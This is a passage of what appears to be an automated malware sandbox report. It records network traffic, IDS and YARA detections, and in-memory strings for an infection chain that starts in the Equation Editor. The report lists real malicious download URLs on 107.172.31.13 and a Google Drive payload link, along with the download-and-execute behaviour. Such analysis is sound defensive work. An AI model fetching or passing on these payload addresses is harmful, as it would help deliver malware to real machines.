Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 107.172.31.13:80 -> 192.168.2.22:49168
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 142.250.186.97:443 -> 192.168.2.22:49167

Yara detected Generic Downloader

Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE

Contains functionality to download and execute PE files

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_0356047F URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_0356047F

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /madamwebaaaaa.txt HTTP/1.1Host: 107.172.31.13Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 107.172.31.13 107.172.31.13

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d

May check the online IP address of the machine

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

DNS query: name: ip-api.com

Uses a known web browser user agent for HTTP communication

Source: global traffic

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown	HTTPS traffic detected: 216.58.212.174:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49167 version: TLS 1.0

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_0356047F URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_0356047F

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\NIGHTTTTMPDW-constraints[1].vbs

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /NIGHTTTTMPDW-constraints.vbs HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.172.31.13Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /madamwebaaaaa.txt HTTP/1.1Host: 107.172.31.13Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com

Source: EQNEDT32.EXE, 00000002.00000002.471753708.000000000026F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.31.13/NIGHTTTTMPDW-constraints.vbs
Source: EQNEDT32.EXE, 00000002.00000002.472683807.0000000003560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.31.13/NIGHTTTTMPDW-constraints.vbsj
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: AddInProcess32.exe, 00000009.00000002.628239471.000000000244C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002430000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: powershell.exe, 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.627062305.000000000095C000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002430000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: wscript.exe, 00000005.00000003.471806519.0000000002B12000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.472214860.0000000002B13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.co
Source: powershell.exe, 00000006.00000002.571025263.00000000021D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.520246237.00000000022F1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002430000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000008.00000002.519947637.0000000000330000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.519947637.0000000000383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.
Source: powershell.exe, 00000008.00000002.520246237.000000000242B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: powershell.exe, 00000008.00000002.520246237.000000000242B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.524750374.0000000004FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur
Source: powershell.exe, 00000008.00000002.520246237.000000000256C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: powershell.exe, 00000008.00000002.520246237.000000000256C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
